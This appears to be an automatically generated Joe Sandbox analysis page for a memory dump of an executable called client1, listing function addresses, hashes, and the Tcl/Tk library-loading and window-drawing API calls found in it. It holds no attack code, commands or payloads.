Instruction ID: 4f2cb1bfb659b86488427ecffe0e4e872684de4270b5371fcbc37b964026ac3b
Opcode Fuzzy Hash: 720b0f885fc535c3a242e303a59ba9c626026de2633fd245c18c7096fc28f432
Instruction Fuzzy Hash: 9FD1EA22A0878646E778EE3584402BDA3AAFF45BD8F944135CE6D076D5CFBDD845C360

Function 00007FF79F6280A0 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25b4879d951165098d7d9ad8dfdbe188c5f26750c92d05a39af3c572e9b4c9ce
Instruction ID: 47bd37406a4e8c28f45296a6c22469f94633863dc245460102cd532fde25e12c
Opcode Fuzzy Hash: 25b4879d951165098d7d9ad8dfdbe188c5f26750c92d05a39af3c572e9b4c9ce
Instruction Fuzzy Hash: A1C186721141E04BE2D9EB29E8698BEB792F78930DBD4403BEB8747B89C73CA414D751

Function 00007FF79F631E70 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3511ad376341763adbf03eaa1481790c1cd7a3e825f7d6c297581565e8b6740f
Instruction ID: 957c856e394793d0d122c94744af0b0d728baf1d43c01e59203c787af219ea50
Opcode Fuzzy Hash: 3511ad376341763adbf03eaa1481790c1cd7a3e825f7d6c297581565e8b6740f
Instruction Fuzzy Hash: 87B18A72A08B8585E7749F39C0502BCBBAAE745B88FA84139CB5E47399CFB9D445C720

Function 00007FF79F63D718 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b482d32cf4439f597672c93949c919f143e2d798b80af63496daf47fa9f459cc
Instruction ID: c471f9e08b2a993ffdf48d146317d7bffb43a584c5cf259f1a27838826839cbd
Opcode Fuzzy Hash: b482d32cf4439f597672c93949c919f143e2d798b80af63496daf47fa9f459cc
Instruction Fuzzy Hash: 5581D472A087C585EB74EB3994403B9E6A6FB45794F944235DAAD43BC9DF7CF4008B10

Function 00007FF79F645820 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 093da9d804f6d3f0dcf011766d3ac1044083a14a82be884a6ec622c588f21297
Instruction ID: 6b03643ae669f92b7e0fdc29916b452537edaca45991fcb017ba4a9429c9f85b
Opcode Fuzzy Hash: 093da9d804f6d3f0dcf011766d3ac1044083a14a82be884a6ec622c588f21297
Instruction Fuzzy Hash: E061D522E183D246FB74BA7994502FDE69BBF40370F944239D63E866D6DE6DEC408720

Function 00007FF79F630FB4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d861661aa08db629cc23cdca8c369b076586a2e450c00db1ba5d57a294e44a4f
Instruction ID: df02e9c36dfd779a1eeb64ee4d1834cde1357acb24fff15c354d28ce838adbba
Opcode Fuzzy Hash: d861661aa08db629cc23cdca8c369b076586a2e450c00db1ba5d57a294e44a4f
Instruction Fuzzy Hash: B4519636E187D182E7349B39C4402B8B7A6EB49B58F644131CE9D07799CFBAE843C750

Function 00007FF79F6313C4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 867914ff4df0b6b44d704adc42bbe88cde9096fdc707783f05752eff833c7ffe
Instruction ID: 4590db4cda342153865add82397c1956de1b7d3bf520d6aa6eabe4107079265a
Opcode Fuzzy Hash: 867914ff4df0b6b44d704adc42bbe88cde9096fdc707783f05752eff833c7ffe
Instruction Fuzzy Hash: AC51B476E1879182E7349F39D0402B8B3A6EB48B68F654131CE5D477A9CFBAE843C750

Function 00007FF79F630BA4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c32b4ddfd43473a216dec7aa9a0be5b617892f75f4149cffacdc7470c95e978f
Instruction ID: 234cd2e47202026b8e0a3ecfadb6f1e29f4c6b90ae910281e505b3629379936f
Opcode Fuzzy Hash: c32b4ddfd43473a216dec7aa9a0be5b617892f75f4149cffacdc7470c95e978f
Instruction Fuzzy Hash: 6151D272A1879196E7349B38C0402BCB3BAEB44B5CF645231CE5D07795CBBAE847C750

Function 00007FF79F630DB0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1de1d42fcd570761cca71ddda72003ed022ec41b6526507f8e47f89f031e3167
Instruction ID: 2efbf3abda2455b6c0219104832d4dc4038a56ec56e7234a62b94cbbe1f6ac08
Opcode Fuzzy Hash: 1de1d42fcd570761cca71ddda72003ed022ec41b6526507f8e47f89f031e3167
Instruction Fuzzy Hash: 3051BC36B1879196E7349B38C0403ACA3AAEB48B5CFA44135CE5C077A8CB7AE856C750

Function 00007FF79F6311C0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b4a4146db3bd1fe649265067838c8b0d7c1a5e97031d62dd0eb31e0fdd0228e
Instruction ID: 31ec17a741cca85075fbd86c8f61e5c3ecf68a8b685a8c88518b2aa1589fb0a5
Opcode Fuzzy Hash: 6b4a4146db3bd1fe649265067838c8b0d7c1a5e97031d62dd0eb31e0fdd0228e
Instruction Fuzzy Hash: 0451BF32E1879186E7749B39C1402BCA3AAEB48B58FA44131CE5C5779CCB7AE893C750

Function 00007FF79F6309A0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 876697f8e8f5cbbdb44752562e3cb115d809b93d1bac5633a342ac63b65505f1
Instruction ID: 06bc6c55b64034403f65e6f0497352844f49cc6f2079139cae5a33b65040ecd1
Opcode Fuzzy Hash: 876697f8e8f5cbbdb44752562e3cb115d809b93d1bac5633a342ac63b65505f1
Instruction Fuzzy Hash: E351D133A187D592E7349B38D0003BCA3AAEB45B5CFA84131CE5D17796CBBAE846C750

Function 00007FF79F634F50 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: 8ae6fabea2abc05d61b46a9c6d2222c9f03cee19dd94d6ce7551100ef7cb1f3f
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: 0441D45380D7CB44FD71993845006F8E6CAAF627A0DE862B4CCBA133D2CE8E6986C160

Function 00007FF79F638BA0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: d52a693ca64156346f3ce50e8e1564a69fccf06189b002bdd4e7495fde204544
Instruction ID: 3466ad367906a6bab20ce04bd543433f9c9bfee1f09206e43ea5b445ddaf248a
Opcode Fuzzy Hash: d52a693ca64156346f3ce50e8e1564a69fccf06189b002bdd4e7495fde204544
Instruction Fuzzy Hash: D9412463B18B8482EF24DF7AD9141E9A3A6AB48FD0B889032DE1D97B54DE7CD0468300

Function 00007FF79F636560 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee4673de95ce1c3203f19ce9ce644468e75f80e7845f38315ddde02822e300f2
Instruction ID: a859812cc080d3349723cd0ae5298f34eb1abe99c025d1d8faf8c8082b2c3095
Opcode Fuzzy Hash: ee4673de95ce1c3203f19ce9ce644468e75f80e7845f38315ddde02822e300f2
Instruction Fuzzy Hash: CF31D732718B8141E738AF35A8401BDBADAAF85BE0F544238EA6D53BD5DF7CD0128714

Function 00007FF79F6489B0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b98f8205f4dd5ad0f3b4c63852b6076f32f3a1b530b1ff8e23dc59df104b107b
Instruction ID: 3055b0362c0626e5a6f5bf3a6b98eba540cf95bf21390012339f1296aca8dbe3
Opcode Fuzzy Hash: b98f8205f4dd5ad0f3b4c63852b6076f32f3a1b530b1ff8e23dc59df104b107b
Instruction Fuzzy Hash: 23F068717187A58ADBA8AF79A802669B7E5F7083C0F809039D59D83B04D63C90618F14

Function 00007FF79F62B880 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03ec394501486fefa8e68c4fc5f22486c81951ca79d36a27091b1f9b4683aa64
Instruction ID: c81dc4a0721c148f9c5c9142e677b235afd6a434249df25d6b2891036d10e79c
Opcode Fuzzy Hash: 03ec394501486fefa8e68c4fc5f22486c81951ca79d36a27091b1f9b4683aa64
Instruction Fuzzy Hash: D7A0022190CE86E0EA64BF20EC900F0A37AFB90310BC04031D42D821A09F3CB440D721

Function 00007FF79F6255D0 Relevance: 166.5, APIs: 31, Strings: 64, Instructions: 287libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79F6271B0: LoadLibraryExW.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F6271D3

GetProcAddress.KERNEL32 ref: 00007FF79F625F67
GetProcAddress.KERNEL32 ref: 00007FF79F625FA6
GetProcAddress.KERNEL32 ref: 00007FF79F625FCB
GetProcAddress.KERNEL32 ref: 00007FF79F625FF0
GetProcAddress.KERNEL32 ref: 00007FF79F626018
GetProcAddress.KERNEL32 ref: 00007FF79F626040
GetProcAddress.KERNEL32 ref: 00007FF79F626068
GetProcAddress.KERNEL32 ref: 00007FF79F626090
GetProcAddress.KERNEL32 ref: 00007FF79F6260B8

Strings

Tcl_Free, xrefs: 00007FF79F6263CE
Tcl_SetVar2, xrefs: 00007FF79F626216
Tcl_EvalEx, xrefs: 00007FF79F626356
Failed to get address for Tcl_CreateInterp, xrefs: 00007FF79F625FB8
Failed to get address for Tk_GetNumMainWindows, xrefs: 00007FF79F62643A
Failed to get address for Tcl_GetString, xrefs: 00007FF79F626282
Tcl_EvalFile, xrefs: 00007FF79F62632E
Tk_Init, xrefs: 00007FF79F6263F6
Tcl_Alloc, xrefs: 00007FF79F6263A6
Failed to get address for Tcl_DeleteInterp, xrefs: 00007FF79F62607A
Failed to get address for Tcl_FinalizeThread, xrefs: 00007FF79F626052
Tcl_DoOneEvent, xrefs: 00007FF79F625FE6
Failed to get address for Tcl_GetCurrentThread, xrefs: 00007FF79F6260CA
Tcl_FinalizeThread, xrefs: 00007FF79F626036
GetProcAddress, xrefs: 00007FF79F625F80
Failed to get address for Tcl_EvalEx, xrefs: 00007FF79F626372
Failed to get address for Tcl_MutexUnlock, xrefs: 00007FF79F62611A
Failed to get address for Tcl_CreateThread, xrefs: 00007FF79F6260A2
Tcl_CreateThread, xrefs: 00007FF79F626086
Failed to get address for Tcl_NewStringObj, xrefs: 00007FF79F6262AA
Tcl_Init, xrefs: 00007FF79F625F60
Tk_GetNumMainWindows, xrefs: 00007FF79F62641E
Tcl_GetObjResult, xrefs: 00007FF79F626306
Tcl_GetCurrentThread, xrefs: 00007FF79F6260AE
Failed to get address for Tcl_SetVar2Ex, xrefs: 00007FF79F6262FA
Tcl_CreateInterp, xrefs: 00007FF79F625F9C
Failed to get address for Tcl_ThreadQueueEvent, xrefs: 00007FF79F6261BA
Failed to get address for Tcl_Alloc, xrefs: 00007FF79F6263C2
Tcl_SetVar2Ex, xrefs: 00007FF79F6262DE
Failed to get address for Tcl_EvalFile, xrefs: 00007FF79F62634A
Tcl_MutexUnlock, xrefs: 00007FF79F6260FE
Failed to get address for Tcl_GetObjResult, xrefs: 00007FF79F626322
Failed to get address for Tcl_NewByteArrayObj, xrefs: 00007FF79F6262D2
Tcl_FindExecutable, xrefs: 00007FF79F625FC1
Tcl_ConditionWait, xrefs: 00007FF79F626176
Failed to get address for Tcl_ThreadAlert, xrefs: 00007FF79F6261E2
Failed to get address for Tcl_Init, xrefs: 00007FF79F625F79
Tcl_ThreadAlert, xrefs: 00007FF79F6261C6
Failed to get address for Tcl_Free, xrefs: 00007FF79F6263EA
Failed to get address for Tcl_ConditionWait, xrefs: 00007FF79F626192
Failed to get address for Tcl_MutexLock, xrefs: 00007FF79F6260F2
Tcl_ConditionFinalize, xrefs: 00007FF79F626126
Tcl_CreateObjCommand, xrefs: 00007FF79F62623E
Tcl_ThreadQueueEvent, xrefs: 00007FF79F62619E
Failed to get address for Tcl_EvalObjv, xrefs: 00007FF79F62639A
Failed to get address for Tcl_CreateObjCommand, xrefs: 00007FF79F62625A
Tcl_NewStringObj, xrefs: 00007FF79F62628E
Failed to get address for Tcl_FindExecutable, xrefs: 00007FF79F625FDD
Tcl_EvalObjv, xrefs: 00007FF79F62637E
Failed to get address for Tcl_GetVar2, xrefs: 00007FF79F62620A
Failed to get address for Tk_Init, xrefs: 00007FF79F626412
Failed to get address for Tcl_ConditionNotify, xrefs: 00007FF79F62616A
Tcl_NewByteArrayObj, xrefs: 00007FF79F6262B6
Tcl_DeleteInterp, xrefs: 00007FF79F62605E
Tcl_ConditionNotify, xrefs: 00007FF79F62614E
Failed to get address for Tcl_SetVar2, xrefs: 00007FF79F626232
Tcl_MutexLock, xrefs: 00007FF79F6260D6
Failed to get address for Tcl_DoOneEvent, xrefs: 00007FF79F626002
Failed to get address for Tcl_ConditionFinalize, xrefs: 00007FF79F626142
Failed to get address for Tcl_Finalize, xrefs: 00007FF79F62602A
Tcl_GetVar2, xrefs: 00007FF79F6261EE
Tcl_GetString, xrefs: 00007FF79F626266
LOADER: Failed to load tcl/tk libraries, xrefs: 00007FF79F62561A
Tcl_Finalize, xrefs: 00007FF79F62600E

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$LOADER: Failed to load tcl/tk libraries$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 2238633743-1453502826
Opcode ID: ba523ba2b13c4ea14ee618d69630f35f7ff64aa3d65f3ca8e14aa07d75cb9247
Instruction ID: b30a9a20e4738194fb40c84eba7b36943a02debceca7de32295cc50003b78bbb
Opcode Fuzzy Hash: ba523ba2b13c4ea14ee618d69630f35f7ff64aa3d65f3ca8e14aa07d75cb9247
Instruction Fuzzy Hash: AAE1D760A09B8390FA75FB35A9941F4E3BFAF047A4BD45135C82E46764EF7CA5488332

Function 00007FF79F622030 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF79F62205B
SelectObject.GDI32 ref: 00007FF79F6220A2
DrawTextW.USER32 ref: 00007FF79F6220C5
SelectObject.GDI32 ref: 00007FF79F6220DB
ReleaseDC.USER32 ref: 00007FF79F6220EB
MoveWindow.USER32 ref: 00007FF79F62213B
MoveWindow.USER32 ref: 00007FF79F62217B
MoveWindow.USER32 ref: 00007FF79F6221CE
MoveWindow.USER32 ref: 00007FF79F622216

Strings

P%, xrefs: 00007FF79F6220AF

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
